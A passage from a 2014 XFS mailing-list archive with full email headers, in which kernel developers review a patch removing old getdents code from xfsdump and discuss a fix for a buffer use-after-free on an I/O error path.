#2 (Red Hat Linux)) id 1WSTMs-00005x-LB; Tue, 25 Mar 2014 15:34:22 +0000 Date: Tue, 25 Mar 2014 08:34:22 -0700 From: Christoph Hellwig To: Brian Foster Cc: Kyle McMartin , xfs@oss.sgi.com Subject: Re: [PATCH 2/2] remove ancient sys_getdents code paths Message-ID: <20140325153422.GA31551@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 2/2] remove ancient sys_getdents code paths References: <20140324181920.GG23291@redacted.bos.redhat.com> <20140325141553.GB18691@bfoster.bfoster> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140325141553.GB18691@bfoster.bfoster> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1395761663 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4236 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Mar 25, 2014 at 10:15:55AM -0400, Brian Foster wrote: > I wonder if we could clean up the d_name offset checks to check it once > and use a flag. Or use a signed type for size_diff and trigger off that. > Just a thought, fwiw. I'd just leave the code as-is and just remove the ifdef cruft. If anyone is motivated enough to do real work on this area the callers should simply be switched to readdir(3) and friends instead of bikeshedding the current cruft. I just don't want to put even more load on Kyle how just wants to get xfsdump running on arm64.. From sandeen@sandeen.net Tue Mar 25 11:05:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 594F17F4E for ; Tue, 25 Mar 2014 11:05:15 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id DAFF0AC002 for ; Tue, 25 Mar 2014 09:05:11 -0700 (PDT) X-ASG-Debug-ID: 1395763506-04cbb054b7700d50001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id pZCHyQJlpj1sakTV for ; Tue, 25 Mar 2014 09:05:06 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from Liberator-2.local (unknown [12.232.193.53]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 9B95363BE55A; Tue, 25 Mar 2014 11:05:05 -0500 (CDT) Message-ID: <5331A930.9030402@sandeen.net> Date: Tue, 25 Mar 2014 09:05:04 -0700 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Christoph Hellwig , Brian Foster CC: Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: fix buffer use after free on IO error References: <532CFA12.4040104@redhat.com> <20140325125754.GA18691@bfoster.bfoster> <20140325131705.GB25392@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix buffer use after free on IO error In-Reply-To: <20140325131705.GB25392@infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1395763506 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4237 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On 3/25/14, 6:17 AM, Christoph Hellwig wrote: >> On Fri, Mar 21, 2014 at 09:48:50PM -0500, Eric Sandeen wrote: >>> + /* >>> + * If _xfs_buf_ioapply failed, we'll get back here with >>> + * only the reference we took above. _xfs_buf_ioend will >>> + * drop it to zero, so we'd better not queue it for later, >>> + * or we'll free it before it's done. >>> + */ >>> + _xfs_buf_ioend(bp, bp->b_error ? 0 : 1); >>> >> >> Out of curiosity, is there any major reason we don't use 0 here >> unconditionally? Are we worried about I/O completing before we have a >> chance to decrement the reference? > > I think this should unconditionally avoid the schedule, and while we're > at it we should kill _xfs_buf_ioend and opencode it here and at the > other callsite. And then remove the flag from xfs_buf_ioend which is always 0 at that point ... > Also atomic_dec_and_test really just returns true/false - there should > ne no need for the explicit == 1 in the conditional. Yeah I have a patch to do that as well; I wanted to separate the bugfix from the more invasive cleanup, though - and I wanted to get the fix out for review sooner. But yeah, I was unsure about whether or not to schedule at all here. We come here from a lot of callsites and I'm honestly not sure what the implications are yet. -Eric From kmcmarti@redhat.com Tue Mar 25 11:08:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BC57129DF7 for ; Tue, 25 Mar 2014 11:08:48 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7856B304048 for ; Tue, 25 Mar 2014 09:08:45 -0700 (PDT) X-ASG-Debug-ID: 1395763724-04cb6c56788ef610001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id wP2vTP7QdCT15DqH for ; Tue, 25 Mar 2014 09:08:44 -0700 (PDT) X-Barracuda-Envelope-From: kmcmarti@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PG8KtB026222 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Mar 2014 12:08:20 -0400 Received: from redacted.bos.redhat.com ([10.18.17.143]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2PG881M010363 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NO); Tue, 25 Mar 2014 12:08:18 -0400 Date: Tue, 25 Mar 2014 12:08:08 -0400 From: Kyle McMartin To: Christoph Hellwig Cc: Brian Foster , xfs@oss.sgi.com Subject: Re: [PATCH 2/2] remove ancient sys_getdents code paths Message-ID: <20140325160808.GB28869@redacted.bos.redhat.com> X-ASG-Orig-Subj: Re: [PATCH 2/2] remove ancient sys_getdents code paths References: <20140324181920.GG23291@redacted.bos.redhat.com> <20140325141553.GB18691@bfoster.bfoster> <20140325153422.GA31551@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140325153422.GA31551@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395763724 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Mar 25, 2014 at 08:34:22AM -0700, Christoph Hellwig wrote: > On Tue, Mar 25, 2014 at 10:15:55AM -0400, Brian Foster wrote: > > I wonder if we could clean up the d_name offset checks to check it once > > and use a flag. Or use a signed type for size_diff and trigger off that. > > Just a thought, fwiw. > > I'd just leave the code as-is and just remove the ifdef cruft. If > anyone is motivated enough to do real work on this area the callers > should simply be switched to readdir(3) and friends instead of > bikeshedding the current cruft. I just don't want to put even more load > on Kyle how just wants to get xfsdump running on arm64.. > Heh, actually, I started doing exactly that last night, after looking at all the getdents_wrap callers... That's probably a bit more... error-sensitive patch though, so I'd prefer if at least 1/2 and/or 2/2 went in separately for debuggability. --Kyle From BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 25 12:25:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E461A29DF7 for ; Tue, 25 Mar 2014 12:25:16 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id CE1DF304059 for ; Tue, 25 Mar 2014 10:25:13 -0700 (PDT) X-ASG-Debug-ID: 1395768312-04cbb054b670a260001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id x2olVhoxL8YLlsEF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Mar 2014 10:25:12 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WSV64-0002GM-W6; Tue, 25 Mar 2014 17:25:08 +0000 Date: Tue, 25 Mar 2014 10:25:08 -0700 From: Christoph Hellwig To: Eric Sandeen Cc: Brian Foster , Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: fix buffer use after free on IO error Message-ID: <20140325172508.GA4446@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix buffer use after free on IO error References: <532CFA12.4040104@redhat.com> <20140325125754.GA18691@bfoster.bfoster> <20140325131705.GB25392@infradead.org> <5331A930.9030402@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5331A930.9030402@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1395768312 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4238 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Mar 25, 2014 at 09:05:04AM -0700, Eric Sandeen wrote: > >> Out of curiosity, is there any major reason we don't use 0 here > >> unconditionally? Are we worried about I/O completing before we have a > >> chance to decrement the reference? > > > > I think this should unconditionally avoid the schedule, and while we're > > at it we should kill _xfs_buf_ioend and opencode it here and at the > > other callsite. > > And then remove the flag from xfs_buf_ioend which is always 0 at that > point ... Is it? xfs_buf_bio_end_io should stil be passing 1, the bio end_io handler is the place we really need the workqueue for anyway. > Yeah I have a patch to do that as well; I wanted to separate the > bugfix from the more invasive cleanup, though - and I wanted to > get the fix out for review sooner. Sure, feel free to leave all the cleanups to another patch. > But yeah, I was unsure about whether or not to schedule at all here. > We come here from a lot of callsites and I'm honestly not sure what > the implications are yet. I think the the delayed completion is always wrong from the submission path. The error path is just a special case of a completion happening before _xfs_buf_ioapply returns. The combination of incredibly fast hardware and bad preemption could cause the same bug you observed. From sandeen@redhat.com Tue Mar 25 12:40:07 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 9354429DF7 for ; Tue, 25 Mar 2014 12:40:07 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 18B49AC002 for ; Tue, 25 Mar 2014 10:40:04 -0700 (PDT) X-ASG-Debug-ID: 1395769199-04cb6c56778f9a80001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id bHqO5ruSjNGJ7rbN for ; Tue, 25 Mar 2014 10:39:59 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2PHdWsY014817 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Mar 2014 13:39:32 -0400 Received: from Liberator-2.local (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s2PHdVXr004588 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 25 Mar 2014 13:39:31 -0400 Message-ID: <5331BF53.6000300@redhat.com> Date: Tue, 25 Mar 2014 10:39:31 -0700 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: Christoph Hellwig , Eric Sandeen CC: Brian Foster , xfs-oss Subject: Re: [PATCH] xfs: fix buffer use after free on IO error References: <532CFA12.4040104@redhat.com> <20140325125754.GA18691@bfoster.bfoster> <20140325131705.GB25392@infradead.org> <5331A930.9030402@sandeen.net> <20140325172508.GA4446@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix buffer use after free on IO error In-Reply-To: <20140325172508.GA4446@infradead.org> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1395769199 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 3/25/14, 10:25 AM, Christoph Hellwig wrote: > On Tue, Mar 25, 2014 at 09:05:04AM -0700, Eric Sandeen wrote: >>>> Out of curiosity, is there any major reason we don't use 0 here >>>> unconditionally? Are we worried about I/O completing before we have a >>>> chance to decrement the reference? >>> >>> I think this should unconditionally avoid the schedule, and while we're >>> at it we should kill _xfs_buf_ioend and opencode it here and at the >>> other callsite. >> >> And then remove the flag from xfs_buf_ioend which is always 0 at that >> point ... > > Is it? xfs_buf_bio_end_io should stil be passing 1, the bio end_io > handler is the place we really need the workqueue for anyway. These are the callers of xfs_buf_ioend: File Function Line 0 xfs_buf.c xfs_bioerror 1085 xfs_buf_ioend(bp, 0); 1 xfs_buf.c _xfs_buf_ioend 1177 xfs_buf_ioend(bp, schedule); 2 xfs_buf_item.c xfs_buf_item_unpin 494 xfs_buf_ioend(bp, 0); 3 xfs_buf_item.c xfs_buf_iodone_callbacks 1138 xfs_buf_ioend(bp, 0); 4 xfs_inode.c xfs_iflush_cluster 3015 xfs_buf_ioend(bp, 0); 5 xfs_log.c xlog_bdstrat 1644 xfs_buf_ioend(bp, 0); 6 xfs_log_recover.c xlog_recover_iodone 386 xfs_buf_ioend(bp, 0); so only _xfs_buf_ioend *might* pass something other than 0, and: File Function Line 0 xfs_buf.c xfs_buf_bio_end_io 1197 _xfs_buf_ioend(bp, 1); 1 xfs_buf.c xfs_buf_iorequest 1377 _xfs_buf_ioend(bp, bp->b_error ? 0 : 1); At least up until now that was always called with "1" >> Yeah I have a patch to do that as well; I wanted to separate the >> bugfix from the more invasive cleanup, though - and I wanted to >> get the fix out for review sooner. > > Sure, feel free to leave all the cleanups to another patch. > >> But yeah, I was unsure about whether or not to schedule at all here. >> We come here from a lot of callsites and I'm honestly not sure what >> the implications are yet. > > I think the the delayed completion is always wrong from the submission > path. The error path is just a special case of a completion happening > before _xfs_buf_ioapply returns. The combination of incredibly fast > hardware and bad preemption could cause the same bug you observed. I wondered about that. I'm not sure; I don't think it was the buf_rele inside xfs_buf_iorequest that freed it, I think it was specifically the error path afterwards - in my case, in xfs_trans_read_buf_map(): xfs_buf_ (bp); // xfs_buf_iorequest code below xfs_buf_hold(bp); atomic_set(&bp->b_io_remaining, 1); _xfs_buf_ioapply(bp); <-- gets error if (atomic_dec_and_test(&bp->b_io_remaining) xfs_buf_ioend(bp, bp->b_error ? 0 : 1); xfs_buf_rele(bp); <- releases our hold } error = xfs_buf_iowait(bp); <-- sees error; would have waited otherwise if (error) { xfs_buf_ioerror_alert(bp, __func__); xfs_buf_relse(bp); <--- freed here ? but my bp refcounting & lifetime knowledge is lacking :( -Eric From BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 25 12:44:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1349E29DF7 for ; Tue, 25 Mar 2014 12:44:22 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id F21278F8035 for ; Tue, 25 Mar 2014 10:44:21 -0700 (PDT) X-ASG-Debug-ID: 1395769459-04cbb054b770c830001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id QTFMoUQPSuyI7gN5 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Mar 2014 10:44:19 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WSVOb-0006Ek-NG; Tue, 25 Mar 2014 17:44:17 +0000 Date: Tue, 25 Mar 2014 10:44:17 -0700 From: Christoph Hellwig To: Eric Sandeen Cc: Christoph Hellwig , Eric Sandeen , Brian Foster , xfs-oss Subject: Re: [PATCH] xfs: fix buffer use after free on IO error Message-ID: <20140325174417.GA23300@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix buffer use after free on IO error References: <532CFA12.4040104@redhat.com> <20140325125754.GA18691@bfoster.bfoster> <20140325131705.GB25392@infradead.org> <5331A930.9030402@sandeen.net> <20140325172508.GA4446@infradead.org> <5331BF53.6000300@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5331BF53.6000300@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1395769459 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4238 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Mar 25, 2014 at 10:39:31AM -0700, Eric Sandeen wrote: > so only _xfs_buf_ioend *might* pass something other than 0, and: > > File Function Line > 0 xfs_buf.c xfs_buf_bio_end_io 1197 _xfs_buf_ioend(bp, 1); > 1 xfs_buf.c xfs_buf_iorequest 1377 _xfs_buf_ioend(bp, bp->b_error ? 0 : 1); > > At least up until now that was always called with "1" Right, _was_. But that changes to one always passing 1, and one passing 0 or one with your patch. Or one passing always 1 and one always passing 0 with the suggestion from Brian and me. Either way we'd still have versions passing 1. From david@fromorbit.com Tue Mar 25 13:08:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 99E157F3F for ; Tue, 25 Mar 2014 13:08:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 76FB6304070 for ; Tue, 25 Mar 2014 11:08:28 -0700 (PDT) X-ASG-Debug-ID: 1395770902-04bdf076f064cc80001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id bqUcIOfkT5WFk1qn for ; Tue, 25 Mar 2014 11:08:23 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AggFAJrFMVMM6ME1/2dsb2JhbABZgwa+IoVdgR0WdIIlAQEBAwEnEz8FCwgDDQEKCSUPBSghE4dxC89KF45uB4MkgRQEmEyGdYs+g0Ip Received: from unknown (HELO destitution) ([12.232.193.53]) by ipmail04.adl6.internode.on.net with ESMTP; 26 Mar 2014 04:38:21 +1030 Received: from dave by destitution with local (Exim 4.82) (envelope-from ) id 1WSVlm-0003gW-NF; Wed, 26 Mar 2014 05:08:14 +1100 Date: Wed, 26 Mar 2014 05:08:14 +1100 From: Dave Chinner To: Christoph Hellwig Cc: Brian Foster , Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: fix buffer use after free on IO error Message-ID: <20140325180814.GF18572@destitution> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix buffer use after free on IO error References: <532CFA12.4040104@redhat.com> <20140325125754.GA18691@bfoster.bfoster> <20140325131705.GB25392@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140325131705.GB25392@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1395770902 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4240 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Tue, Mar 25, 2014 at 06:17:05AM -0700, Christoph Hellwig wrote: > > On Fri, Mar 21, 2014 at 09:48:50PM -0500, Eric Sandeen wrote: > > > + /* > > > + * If _xfs_buf_ioapply failed, we'll get back here with > > > + * only the reference we took above. _xfs_buf_ioend will > > > + * drop it to zero, so we'd better not queue it for later, > > > + * or we'll free it before it's done. > > > + */ > > > + _xfs_buf_ioend(bp, bp->b_error ? 0 : 1); > > > > > > > Out of curiosity, is there any major reason we don't use 0 here > > unconditionally? Are we worried about I/O completing before we have a > > chance to decrement the reference? > > I think this should unconditionally avoid the schedule, and while we're > at it we should kill _xfs_buf_ioend and opencode it here and at the > other callsite. I thought we schduled here because we can issue IO from IO completion and so we need to requeue the IO completion rather than run it inline in the current IO completion that hasn't fully completed it's processing yet.. > Also atomic_dec_and_test really just returns true/false - there should > ne no need for the explicit == 1 in the conditional. Right, there's several other cleanups around this code that can be done as Eric has mentioned... Cheers, Dave. -- Dave Chinner david@fromorbit.com From BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org Tue Mar 25 13:13:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 572D97F3F for ; Tue, 25 Mar 2014 13:13:59 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3DD4E304070 for ; Tue, 25 Mar 2014 11:13:59 -0700 (PDT) X-ASG-Debug-ID: 1395771237-04cbb054b87109b0001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id RbErnrXfnS8nEvBc (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 25 Mar 2014 11:13:58 -0700 (PDT) X-Barracuda-Envelope-From: BATV+3759bc676c27a7f28b93+3866+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1WSVrH-0004tE-RH; Tue, 25 Mar 2014 18:13:55 +0000 Date: Tue, 25 Mar 2014 11:13:55 -0700 From: Christoph Hellwig To: Dave Chinner Cc: Christoph Hellwig , Brian Foster , Eric Sandeen , xfs-oss Subject: Re: [PATCH] xfs: fix buffer use after free on IO error Message-ID: <20140325181355.GA18707@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix buffer use after free on IO error References: <532CFA12.4040104@redhat.com> <20140325125754.GA18691@bfoster.bfoster> <20140325131705.GB25392@infradead.org> <20140325180814.GF18572@destitution> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140325180814.GF18572@destitution> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1395771238 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4240 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words On Wed, Mar 26, 2014 at 05:08:14AM +1100, Dave Chinner wrote: > > I think this should unconditionally avoid the schedule, and while we're > > at it we should kill _xfs_buf_ioend and opencode it here and at the > > other callsite. > > I thought we schduled here because we can issue IO from IO > completion and so we need to requeue the IO completion rather than > run it inline in the current IO completion that hasn't fully > completed it's processing yet.. Actually we get a recursive callchain there from the I/O error handling. I switched from always 0 to always 1 here in: commit 08023d6dbe840dc4271805a9ea376fcbdee9f744 Author: Christoph Hellwig 